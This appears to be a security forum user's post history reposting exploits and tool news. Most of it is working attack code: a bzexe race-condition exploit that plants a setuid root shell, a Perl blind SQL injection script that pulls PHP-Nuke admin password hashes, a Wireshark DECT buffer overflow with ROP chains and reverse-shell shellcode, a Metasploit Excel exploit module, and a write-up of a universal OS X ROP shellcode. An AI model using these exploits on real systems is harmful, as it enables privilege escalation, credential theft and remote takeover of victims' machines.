Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. DOOM 3 Source Code Just like Quake 3 before it, the Doom 3 source code has been released to the public (minus rendering of stencil shadows via the 'depth fail' method, a functionality commonly known as 'Carmack's Reverse'). GitHub: https://github.com/TTimo/doom3.gpl
  2. POC bzexe (bzip2) race condition /* bzexec_PoC.c -- bzip2 (bzexe) race condition PoC Author: vladz (http://vladz.devzero.fr) Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6) This PoC exploits a race condition in the bzexe script. This tool is rarely used so I wasn't supposed to write an exploit. But some people on the full-disclosure list had doubts about this exploitation. Public discussion about this issue started from this post: http://seclists.org/fulldisclosure/2011/Oct/776. I am using Inotify to win the race (on my dual-core, it succeed 100%). Usage: ./bzexe_PoC <command_name> For instance, if "/bin/dd" has already been compressed with bzexe, launch: $ ./bzexe_PoC dd [*] launching attack against "dd" [+] creating evil script (/tmp/evil) [+] creating target directory (/tmp/dd) [+] initialize inotify [+] waiting for root to launch "dd" [+] opening root shell # whoami root */ #define _GNU_SOURCE #include <sys/inotify.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <fcntl.h> int create_nasty_shell(char *file) { char *s = "#!/bin/bash\n" "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" "chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n"; int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); write(fd, s, strlen(s)); close(fd); return 0; } int main(int argc, char **argv) { int fd, wd; char buf[1], *targetpath, *evilsh = "/tmp/evil", *trash = "/tmp/trash"; if (argc < 2) { printf("usage: %s <cmd name>\n", argv[0]); return 1; } printf("[*] launching attack against \"%s\"\n", argv[1]); printf("[+] creating evil script (/tmp/evil)\n"); create_nasty_shell(evilsh); targetpath = malloc(sizeof(argv[1]) + 6); sprintf(targetpath, "/tmp/%s", argv[1]); printf("[+] creating target directory (%s)\n", targetpath); mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO); printf("[+] initialize inotify\n"); fd = inotify_init(); wd = inotify_add_watch(fd, targetpath, IN_CREATE); printf("[+] waiting for root to launch \"%s\"\n", argv[1]); syscall(SYS_read, fd, buf, 1); syscall(SYS_rename, targetpath, trash); syscall(SYS_rename, evilsh, targetpath); inotify_rm_watch(fd, wd); printf("[+] opening root shell (/tmp/sh)\n"); sleep(2); system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); return 0; } Sursa: bzexe (bzip2) race condition
  3. WordPress Security Scanner Introduction WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach. Details Username enumeration (from author querystring and location header) Weak password cracking (multithreaded) Version enumeration (from generator meta tag and from client side files) Vulnerability enumeration (based on version) Plugin enumeration (2220 most popular by default) Plugin vulnerability enumeration (based on version) Plugin enumeration list generation Other misc WordPress checks (theme name, dir listing, ...) Sponsor Sponsored by the RandomStorm Open Source Initiative. Videos: - - Download: http://code.google.com/p/wpscan/downloads/detail?name=wpscan-1.0.zip&can=2&q= Sursa: wpscan - WordPress Security Scanner - Google Project Hosting
  4. Joomscan Security Scanner - Detect more than 550 Joomla vulnerabilities Joomscan Security Scanner updated recently with new database have 550 vulnerabilities. Detects file inclusion, sql injection, command execution vulnerabilities of a target Joomla web site. Last update for this tool was in August, 2009 with 466 vulnerabilities. How to Use Joomscan, read here. In joomscan you can check for new updates with command: ./joomscan.pl check or ./joomscan.pl update. Download Windows: http://web-center.si/joomscan/joomscan.rar Download Linux: http://web-center.si/joomscan/joomscan.tar.gz More info: http://security.web-center.si/ Sursa: Joomscan Security Scanner - Detect more than 550 Joomla vulnerabilities ~ The Hacker News | Hacking News | Learn Ethical Hacking Training
  5. Oracle Web Hacking Part I and II By Chris Gates, CISSP, GCIH, C|EH, CPTS Part I: Oracle applications are not what you’d call simple. I think any DBA or Oracle Application Server Administrator will be the first to attest to that fact. Oracle, with its great products, comes with some un-pleasantries. These are: 1. Oracle applications are complicated (hopefully we all agree on this). 2. They come with loads of default content and no clear way to remove that content. There is no IISLockdown equivalent for Oracle applications. Content you don’t want must be removed manually. Some of this content can be used to run database queries, read documents, gather information via information leakage on the pages or perform XSS attacks. 3. Users have to pay for patches and extended advisory information (even then, no Proof of Concept code is released by Oracle). 4. And lastly, you have a fairly complicated patch/upgrade process which leads to an "it’s working, don’t touch it" mentality by a fair amount of admins. This provides a target rich environment for pentesters and bad guys. Let’s take a look. Part II: In the first article, Oracle Web Hacking Part I, I talked about scanning Oracle Application Servers for default content and how to use that content for information gathering. A pentester can utilize that information to run SQL queries and to gain a foothold into the network. I also talked about iSQLPlus and some fun things you can do with that application, if you are able to guess credentials for it. I also showed some Metasploit modules to help you accomplish all of it. In Part 2 of 3 of this ongoing series of columns, I’ll dive into attacking the Oracle Application Server Portal (OracleAS Portal). I’ll focus on Oracle 9i and 10g up to Release 2. With 11g (10.3.x) Oracle moved to Weblogic, and it’s completely different and therefore out of the scope of this series. But there are plenty of shops out there still using 9i and 10g, which gives us plenty of opportunity for breaking stuff. So, let’s get to it. Part I: http://www.ethicalhacker.net/content/view/363/24/ Part II: http://www.ethicalhacker.net/content/view/399/24/ Imi e lene sa le copiez si aranjez.
  6. Universal ROP shellcode for OS X x64 23/07/2011 - pa_kt One of the hurdles one will encounter during OS X exploitation is ASLR/DEP combination for 64-bit processes (32bit don’t have DEP [1]). When implemented correctly, it’s an effective mitigation, which can be circumvented only with an info leak. (Un)fortunately, OS X versions up to recent Lion (10.7) offer only incomplete ASLR which still allows attackers to succeed in their efforts to execute arbitrary code. One of the problems (among others) is dyld (dynamic loader) image being located at the same address in every process. This makes ROP possible — by controlling the stack, we can reuse snippets of code from dyld and, in effect, execute arbitrary code. The only public ROP dyld shellcode for OS X was presented in [1]. Charlie Miller’s version works under the assumption that that rax/rdi have specific values. Due to x64 calling convention [2] it is very probable that this precondition is met. Nevertheless it would be useful to create a shellcode with weaker assumptions — that’s exactly what this post is about. We will create a generic ROP shellcode, similiar to sayonara, but for OS X Stack pivoting We assume that rsp is fully controlled. Sometimes, achieving such state is a nontrivial task in itself — for every bug, exploitation can begin with different register/memory values. In [1], an easy case of stack pivoting is described — we start with rax pointing to controlled memory, and rdi to a valid buffer. We then set rsp = rax with: 0x00007fff5fc24c8b mov QWORD PTR [rdi+0x38],rax (irrelevant) 0x00007fff5fc24cd8 mov rsp,QWORD PTR [rdi+0x38] 0x00007fff5fc24cdc pop rdi 0x00007fff5fc24cdd ret Easy! The problem is, we might not be so lucky to start with rax pointing to fully controlled memory. For example, we may start with the following: call [rax+0x100] Where memory in range [rax, rax+0xF0] is random, and we control buffer starting at rax+0xF1. Starting conditions for every bug are different and pivoting the stack can be even harder than creating a ROP chain, since during pivoting the state we start with can be completely arbitrary, when during ROP we already control the stack. There is no generic way to remedy this problem, but having a large database of usable gadgets would certainly help . That brings us to an annoying problem: “leave” instruction. “Leave” is equivalent to: mov rsp, rbp pop rbp If we don’t control rbp, we will lose control of the stack. The problem is, “leave” is very often present before “ret”, effectively limiting the number of gadgets we can use. Fortunately, there is a little trick that will allow us to use any “leave” gadget. We need to create a “fake” stack frame with a series of 3 indirect calls, like so: call [rax]+------------+ (...)<--------------+ | call [rax+4]+ | | | | +----> push rbp | | mov rbp, rsp +-----------+ | (...) | | call [rax+8]+ | | | +-->continue | +--------------+ | | | | | +->(gadget) | leave +--------+ret Start from call [rax] and follow the execution flow along the arrows. With such construct, we can safely call any gadget ending with “leave / ret”. Such sequences (two indirect calls with different displacements near each other) may be rare, but we don’t need many of them, one is sufficient. We can use the second call (call [rax+4]) to jump to a sequence that will perturb rax and then jump back to “call [rax]“, allowing us to use the same “dispatcher” gadget as many times as we need to use a “leaver”. Here’s an example of such dispatcher, from dyld: DISPATCHER: __text:00007FFF5FC0D1BF call qword ptr [rax+78h] __text:00007FFF5FC0D1C2 mov rsi, rax __text:00007FFF5FC0D1C5 test rax, rax __text:00007FFF5FC0D1C8 jz short loc_7FFF5FC0D1E0 __text:00007FFF5FC0D1CA mov rax, [rbx] __text:00007FFF5FC0D1CD mov rcx, rbx __text:00007FFF5FC0D1D0 mov rdx, r12 __text:00007FFF5FC0D1D3 mov rdi, rbx __text:00007FFF5FC0D1D6 call qword ptr [rax+80h] FAKE FRAME SETUP: __text:00007FFF5FC0CD44 push rbp __text:00007FFF5FC0CD45 mov rbp, rsp __text:00007FFF5FC0CD48 mov [rbp+var_18], rbx __text:00007FFF5FC0CD4C mov [rbp+var_10], r12 __text:00007FFF5FC0CD50 mov [rbp+var_8], r13 __text:00007FFF5FC0CD54 sub rsp, 20h __text:00007FFF5FC0CD58 mov r12, rdi __text:00007FFF5FC0CD5B mov r13d, esi __text:00007FFF5FC0CD5E mov rax, [rdi] __text:00007FFF5FC0CD61 call qword ptr [rax+1A0h] Few preconditions related to register values must be met, for the gadgets above to work. Since we don’t control the stack during pivoting, we need to use gadgets ending with indirect jumps, or calls, to set registers and memory to necessary values. “Leave” problem is particulary crippling during pivoting and that’s when fake frames should be used. During ROP, it’s easier to just control rbp and point it to memory set earlier. ROP Plan is simple: use gadgets from dyld to create RWX memory area (using vm_protect), then copy normal shellcode to that area, and jump to it. Here’s the vm_protect call we will use to make memory from dyld’s .data section executable: __text:00007FFF5FC0D34A mov r8d, ebx ; new_protection __text:00007FFF5FC0D34D xor ecx, ecx ; set_maximum __text:00007FFF5FC0D34F mov rdx, rax ; size __text:00007FFF5FC0D352 mov rsi, [rbp+address] ; address __text:00007FFF5FC0D356 lea rax, _mach_task_self_ __text:00007FFF5FC0D35D mov edi, [rax] ; target_task __text:00007FFF5FC0D35F call _vm_protect __text:00007FFF5FC0D364 test eax, eax __text:00007FFF5FC0D366 jz short loc_7FFF5FC0D38D __text:00007FFF5FC0D38D loc_7FFF5FC0D38D: __text:00007FFF5FC0D38D cmp byte ptr [r12+0FAh], 0 __text:00007FFF5FC0D396 jz short loc_7FFF5FC0D406 __text:00007FFF5FC0D406 loc_7FFF5FC0D406: __text:00007FFF5FC0D406 mov rbx, [rbp+var_28] __text:00007FFF5FC0D40A mov r12, [rbp+var_20] __text:00007FFF5FC0D40E mov r13, [rbp+var_18] __text:00007FFF5FC0D412 mov r14, [rbp+var_10] __text:00007FFF5FC0D416 mov r15, [rbp+var_8] __text:00007FFF5FC0D41A leave __text:00007FFF5FC0D41B retn This is the same technique as in [1]. Few registers need to be set for this to work: registers used as parameters for vm_protect and rbp, to survive “leave / ret” at the end. We can set them one by one, jumping over different gadgets like described in [1], or set them all at once, using the following: __text:00007FFF5FC24CA1 mov rax, [rdi] __text:00007FFF5FC24CA4 mov rbx, [rdi+8] __text:00007FFF5FC24CA8 mov rcx, [rdi+10h] __text:00007FFF5FC24CAC mov rdx, [rdi+18h] __text:00007FFF5FC24CB0 mov rsi, [rdi+28h] __text:00007FFF5FC24CB4 mov rbp, [rdi+30h] __text:00007FFF5FC24CB8 mov r8, [rdi+40h] __text:00007FFF5FC24CBC mov r9, [rdi+48h] __text:00007FFF5FC24CC0 mov r10, [rdi+50h] __text:00007FFF5FC24CC4 mov r11, [rdi+58h] __text:00007FFF5FC24CC8 mov r12, [rdi+60h] __text:00007FFF5FC24CCC mov r13, [rdi+68h] __text:00007FFF5FC24CD0 mov r14, [rdi+70h] __text:00007FFF5FC24CD4 mov r15, [rdi+78h] __text:00007FFF5FC24CD8 mov rsp, [rdi+38h] __text:00007FFF5FC24CDC pop rdi __text:00007FFF5FC24CDD retn We can fill a buffer from dyld’s .data section with values we want to set registers with and simply call the above gadget. The only problem with this approach is rsp being overwritten (mov rsp, [rdi+38h]), but we can remedy this by creating a “fake” stack somewhere in memory . Below is a WRITE MEM gadget sequence we can use. __text:00007FFF5FC23373 pop rbx __text:00007FFF5FC23374 retn __text:00007FFF5FC24CDC pop rdi __text:00007FFF5FC24CDD retn __text:00007FFF5FC24CE1 mov [rdi+8], rbx __text:00007FFF5FC24CE5 mov [rdi+10h], rcx __text:00007FFF5FC24CE9 mov [rdi+18h], rdx __text:00007FFF5FC24CED mov [rdi+20h], rdi __text:00007FFF5FC24CF1 mov [rdi+28h], rsi __text:00007FFF5FC24CF5 mov [rdi+30h], rbp __text:00007FFF5FC24CF9 mov [rdi+38h], rsp __text:00007FFF5FC24CFD add qword ptr [rdi+38h], 8 __text:00007FFF5FC24D02 mov [rdi+40h], r8 __text:00007FFF5FC24D06 mov [rdi+48h], r9 __text:00007FFF5FC24D0A mov [rdi+50h], r10 __text:00007FFF5FC24D0E mov [rdi+58h], r11 __text:00007FFF5FC24D12 mov [rdi+60h], r12 __text:00007FFF5FC24D16 mov [rdi+68h], r13 __text:00007FFF5FC24D1A mov [rdi+70h], r14 __text:00007FFF5FC24D1E mov [rdi+78h], r15 __text:00007FFF5FC24D22 mov rsi, [rsp+0] __text:00007FFF5FC24D26 mov [rdi+80h], rsi __text:00007FFF5FC24D2D retn First we pop the value, then the address and finally set memory with “mov [rdi+8], rbx”. Notice that we also trash values higher is memory, from rdi+0x10, to rdi+0x80, so we need to remember to write to LOWER addresses first. We could copy our “normal shellcode” to RWX memory using the above sequence, but it would be wasteful in terms of stack space. Observe that to copy a single QWORD, we need 5 QWORDs on the stack (3 gadgets, address, value). It’s more efficient to create a small “stub” that will take care of this. ; copy normal shellcode to RWX area ; size = 0x1000 stub: lea rsi, [r15+offset] xor rcx, rcx inc rcx shl rcx, 12 lea rdi, [rel normal_shellcode] ;rip relative addressing rep movsb normal_shellcode: rsi is set to point to old stack (passed in r15), normal shellcode starts from a constant offset. We save a bit of space using rip-relative addressing (x64 feature) to set rdi, rather than a constant 8-byte address. To summarize: set register values in dyld’s .data buffer create a fake stack and a fake stack frame in memory copy stub to future RWX area set all registers to correct values use vm_protect to create RWX area load r15 with previous stack pointer jump to RWX memory stub will copy our “normal” shellcode from old stack to RWX mem ??? PROFIT! That’s it. The resulting ROP shellcode is bigger than the one in [1], but it doesn’t assume anything about registers. There is room for improvement, but in environments where you can spray megabytes of memory with javascript (like in Safari ), size of shellcode is not critical. You can download the final version here. References: [1] Charlie Miller, Mac OS X Hacking (Snow Leopard Edition), 2010 [2] Jon Larimer, Intro to x64 Reversing, 2011 Sursa: http://gdtr.wordpress.com/2011/07/23/universal-rop-shellcode-for-os-x-x64/
  7. So hardcore...
  8. PHP-Nuke 8.1.0.3.5b Downloads Remote Blind SQL Injection Authored by Dante90 | Site warwolfz.org PHP-Nuke versions 8.1.0.3.5b and below remote blind SQL injection exploit. #!/usr/bin/perl # [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit # Date: 2010.07.04 after 50 days the bug was discovered. # Author/s: Dante90, WaRWolFz Crew # Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, # Shades Master, V1R5, yeat # Special Greetings To: The:Paradox # Greetings To: Shotokan-The Hacker, _mRkZ_, h473 # Web Site: www.warwolfz.org # My Wagend (Dante90): dante90wwz.altervista.org # ---- # Why have I decided to publish this? # Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published # my own exploit, with their names. # FUCKING LAMERS / RIPPERS / SCRIPT KIDDIE # ---- use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use HTTP::Headers; use Time::HiRes; my $Victime = shift or &usage; my $Hash = ""; my ($Referer,$Time,$Response); my ($Start,$End); my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102); my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add'); my $Cookies = new HTTP::Cookies; my $UserAgent = new LWP::UserAgent( agent => 'Mozilla/5.0', max_redirect => 0, cookie_jar => $Cookies, default_headers => HTTP::Headers->new, ) or die $!; my $WaRWolFz = "http://www.warwolfz.org/"; my $DefaultTime = request($WaRWolFz); my $Post; sub Blind_SQL_Jnjection { my ($dec,$hex,$Victime) = @_; return "http://www.warwolfz.org/' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}"; } for(my $I=1; $I<=32; $I++){ #N Hash characters for(my $J=0; $J<=15; $J++){ #0 -> F $Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime); $Time = request($Post); sleep(3); refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I); if ($Time > 4) { $Time = request($Post); refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I); if ($Time > 4) { syswrite(STDOUT,chr($chars[$J])); $Hash .= chr($chars[$J]); $Time = request($Post); refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I); last; } } } if($I == 1 && length $Hash < 1 && !$Hash){ print " * Exploit Failed *\n"; print " -------------------------------------------------------- \n"; exit; } if($I == 32){ print " * Exploit Successfully Executed *\n"; print " -------------------------------------------------------- \n"; system("pause"); } } sub request{ $Post = $_[0]; $Start = Time::HiRes::time(); my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', { title => "Dante90", url => $Post, description => "WaRWolFz Crew", auth_name => "Dante90", email => "dante90.dmc4\@hotmail.it", filesize => "1024", version => "1", homepage => "http://www.warwolfz.org/", d_op => "Add" }, Referer => $HostName.'modules.php?name=Downloads&d_op=Add'); $Response->is_success() or die "$HostName : ", $Response->message, "\n"; $End = Time::HiRes::time(); $Time = $End - $Start; return $Time; } sub usage { system("cls"); { print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n"; print " -------------------------------------------------------- \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [victime] *\n"; print " -------------------------------------------------------- \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n"; print " ------------------------------------------------------- \n"; }; exit; } sub refresh { system("cls"); { print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n"; print " -------------------------------------------------------- \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [victime] *\n"; print " -------------------------------------------------------- \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n"; print " ------------------------------------------------------- \n"; }; print " * Victime Site: " . $_[0] . "\n"; print " * Default Time: " . $_[1] . " seconds\n"; print " * BruteForcing Hash: " . chr($_[2]) . "\n"; print " * BruteForcing N Char Hash: " . $_[5] . "\n"; print " * SQL Time: " . $_[4] . " seconds\n"; print " * Hash: " . $_[3] . "\n"; } #WaRWolFz Crew Sursa: PHP-Nuke 8.1.0.3.5b Downloads Remote Blind SQL Injection ? Packet Storm
  9. Wireshark 1.4.4 DECT Dissector Buffer Overflow Authored by ipv Wireshark versions 1.4.4 and below DECT dissector remote buffer overflow exploit. #!/usr/bin/env python # -*- coding: iso-8859-15 -*- a = """ \n\t-- CVE: 2011-1591 : Wireshark <= 1.4.4 packet-dect.c dissect_dect() --\n # # -------- Team : Consortium-of-Pwners # -------- Author : ipv # -------- Impact : high # -------- Target : Archlinux wireshark-gtk-1.4.3-1-i686.pkg.tar.xz # -------- Description # # This code exploits a remote stack based buffer overflow in the DECT dissector of # wireshark. ROP chains aims to recover dynamically stack address, mprotect it and stack pivot to # shellcode located the payload. # All the process is automated, and bypass any NX/ALSR. # # Operating Systems tested : [see the summary] with scapy >= 2.5 # For any comments, remarks, news, please mail me : ipv _at_ [team] . net ###########################################################################\n""" import sys, struct if sys.version_info >= (2, 5): from scapy.all import * else: from scapy import * # align def _x(v): return struct.pack("<I", v) # Gadget Table - Arch linux v2010.05 default package # - wireshark-cli-1.4.3-1-i686.pkg.tar.xz # - wireshark-gtk-1.4.3-1-i686.pkg.tar.xz arch_rop_chain = [ # Safe SEIP overwrite _x(0x8069acb), # pop ebx ; pop esi ; pop ebp _x(0), _x(0x80e9360), _x(0), # fake (arg1, arg2, arg3), to avoid crash # mprotect 1st arg : stack & 0xffff0000 _x(0x8067d90), # push esp ; pop ebp _x(0x8081f2e), # xchg ebp eax _x(0x80f9d7f), # xchg ecx, eax _x(0x8061804), # pop eax _x(0xffff0000), # _x(0x80c69f0), # xchg edi, eax _x(0x80ff067), # and ecx edi ; dec ecx _x(0x8077c53), # inc ecx ; sub al 0x5d _x(0x8061804), # pop eax _x(0x7f16a5d0), # avoid crash with dec dword [ecx-0x76fbdb8c] _x(0x8048360), # xchg ecx eax _x(0x8089f46), # xchg edx eax ; std ; dec dword [ecx-0x76fbdb8c] _x(0x8067d90), # push esp ; pop ebp _x(0x8081f2e), # xchg ebp eax _x(0x8067d92)*7, # ret # 1st arg of mprotect is on esp+48 address (see below) _x(0x80745f9), # mov [eax+0x50] edx ; pop ebp _x(0), # we search address of mprotect (@mprotect = @fopen + 0x6fe70) _x(0x8065226), # pop eax _x(0x81aca20-0xc), # got[fopen] _x(0x8074597), # mov eax [eax+0xc] _x(0x8048360), # xchg ecx eax _x(0x8065226), # pop eax _x(0x6fe70), _x(0x8081f2e), # xchg ebp eax _x(0x806973d), # add ecx ebp _x(0x08104f61), # jmp *%ecx _x(0x0811eb63), # pop ebx, pop esi, pop edi # mprotect args (base_addr, page size, mode) _x(0), # Stack Map that is updated dynamically (see upper) _x(0x10000), # PAGE size 0x1000 _x(0x7), # RWX Mode # now we can jump to our lower addressed shellcode by decreasing esp register _x(0x8061804), # pop eax _x(0xff+0x50), # esp will be decreased of 0xff + 0x50 bytes; _x(0x80b8fc8), # xchg edi eax _x(0x8067d90), # push esp ; pop ebp _x(0x80acc63), # sub ebp, edi ; dec ecx _x(0x8081f2e), # xchg ebp eax _x(0x0806979e) # jmp *eax ] # Gadget Table - Bt4 compiled without SSP/FortifySource # Source wireshark 1.4.3 labs_rop_chain = [ # Safe SEIP overwrite _x(0x08073fa1), # pop ebx ; pop esi ; pop ebp _x(0), _x(0x0808c4d3), _x(0), # fake (arg1, arg2, arg3), to avoid crash # sys_mprotect : eax=125(0x7D) ; ebx=address base ; ecx = size page ; edx = mode # mprotect 3r d arg _x(0x080e64cf), # pop edx ; pop es ; add cl cl _x(0x7), _x(0x0), # RWX mode 0x7 # mprotect 1st arg (logical AND with stack address to get address base), _x(0x080a1711), # mov edi esp ; dec ecx _x(0x0815b74f), # pop ecx _x(0xffff0000), # _x(0x0804c73c), # xchg ecx eax _x(0x080fadd7), # and edi eax ; dec ecx _x(0x0804c73c), # xchg ecx eax _x(0x080af344), # mov ebx edi ; dec ecx # mprotect 2nd arg _x(0x0815b74f), # pop ecx _x(0x10000), # PAGE size 0x10000 # int 0x80 : here vdso is not randomized, so, we use it! _x(0x80d8b71), # pop eax _x(0x7D), # 0x7D = mprotect syscall _x(0x804e6df), # pop *esi _x(0xffffe411), # int 0x80 # _x(0xffffe414), # @sysenter in .vdso _x(0x080ab949), # jmp *esi # now we can jump to our lower addressed shellcode by decreasing esp register _x(0x0815b74f), # pop ecx _x(256), # esp will be decreased of 256bytes _x(0x080a1711), # mov edi esp ; dec ecx _x(0x081087d3), # sub edi ecx ; dec ecx _x(0x080f7cb1) # jmp *edi ] addr_os = { # ID # OS # STACK SIZE # GADGET TABLE 1 : ["Arch Linux 2010.05 ", 0xb9, arch_rop_chain], # wireshark-gtk-1.4.3-1-i686.pkg.tar.xz 2 : ["Labs test ", 0xbf, labs_rop_chain], -1 : ["Debian 5.0.8 Lenny ", -3, False], # wireshark_1.0.2-3+lenny12_i386.deb -2 : ["Debian 6.0.2 Squeeze ", -1, False], # wireshark_1.2.11-6+squeeze1_i386.deb -3 : ["Fedora 14 ", -1, False], # wireshark-1.4.3-1.2.2.i586.rpm -4 : ["OpenSuse 11.3 ", -1, False], # wireshark-1.4.3-1.2.2.i586.rpm -5 : ["Ubuntu 10.10 | 11.04 ", -1, False], # -6 : ["Gentoo * ", -2, False] # } print a def usage(): print "Please select and ID >= 0 :\n" print " ID TARGET INFO" print "--------------------------------------------------------------------" for i in addr_os.iteritems(): print " %2d -- %s "%(i[0], i[1][0]), if i[1][1] == -1: print "Default package uses LibSSP & Fortify Source" elif i[1][1] == -2: print "Compiled/Build with Fortify Source" elif i[1][1] == -3: print "DECT protocol not supported" else: print "VULN -> Stack size %d"%(i[1][1]) sys.exit(1) if len(sys.argv) == 1: usage() elif addr_os.has_key(int(sys.argv[1])) is False: usage() elif int(sys.argv[1]) < 0: usage() target = addr_os[int(sys.argv[1])] print "\n[+] Target : %s"%target[0] rop_chain = "".join([ rop for rop in target[2]]) # msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 C rev_tcp_shell = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; SEIP_SMASH = target[1] print "\t[+] Length for smashing SEIP : 0x%%d)"%(SEIP_SMASH, SEIP_SMASH) nopsled = "\x90" head_nop = 50 shellcode = nopsled * head_nop + rev_tcp_shell + nopsled * (SEIP_SMASH-len(rev_tcp_shell) - head_nop) payload = shellcode + rop_chain # stack alignment if (len(payload) % 2): diff = len(payload) % 2 payload = payload[(2-diff):] print "\t[+] Payload length : %d"%len(payload) evil_packet = Ether(type=0x2323, dst="ff:ff:ff:ff:ff:ff") / payload # evil_packet.show() print "\t[+] Evil packet length : %d"%len(evil_packet) print "\t[+] Sending packet to broadcast" sendp(evil_packet) Sursa: Wireshark 1.4.4 DECT Dissector Buffer Overflow ? Packet Storm
  10. MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow Authored by Nicolas Joly, Shahin, juan vazquez | Site metasploit.com This Metasploit module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the execution flow. This results arbitrary code execution under the context of the user. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow", 'Description' => %q{ This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the excution flow. This results aribrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Initial discovery 'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB 24 exploit and binary analysis 'juan vazquez' # Metasploit ], 'References' => [ ['CVE', '2010-0822'], ['OSVDB', '65236'], ['BID', '40520'], ['MSB', 'MS10-038'], ['URL', 'http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/'] ], 'Payload' => { 'Space' => 4000 }, 'DefaultOptions' => { 'ExitFunction' => 'process', 'DisablePayloadHandler' => 'true' }, 'Platform' => 'win', 'Targets' => [ [ # This is the one that can be downloaded from MSDN 'Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3', { 'ftCmoReserved' => 0x307d91ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data 'CraftedPointer' => 0x307d91a6, # Ptr to PtrToRet in the stored contents on Excel .data 'PtrToRet' => 0x307d908e, # Ptr to Ret - 11Ch 'Ret' => 0x30006113 # call ecx from Excel.exe 10.0.2614.0 } ], [ 'Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3', { 'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data 'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data 'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch 'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 } ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 8 2010", 'DefaultTarget' => 1)) register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.xls']) ], self.class) end def exploit path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2010-0822.xls') f = File.open(path, 'rb') template = f.read f.close buf = '' buf << template[0..35016] buf << [target['ftCmoReserved']].pack('V') buf << template[35021..36549] buf << [target['PtrToRet']].pack('V') buf << [target.ret].pack('V') buf << template[36558..36559] buf << [target['CraftedPointer']].pack('V') buf << template[36564..36609] buf << [target['CraftedPointer']].pack('V') # Pass the MSO_804() buf << template[36614..36639] buf << payload.encoded buf << template[40640..template.length] file_create(buf) end end =begin Memory analysis on Office XP SP2 'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data ------------------------------------------------------------------------------------------ 0:000> db 0x307de5ac 307de5ac 00 30 74 00 a6 e5 7d 30-4c 4c 00 55 6e 69 72 42 .0t...}0LL.UnirB 307de5bc 42 42 42 4c 00 48 50 44-6f 63 55 49 53 55 49 00 BBBL.HPDocUISUI. 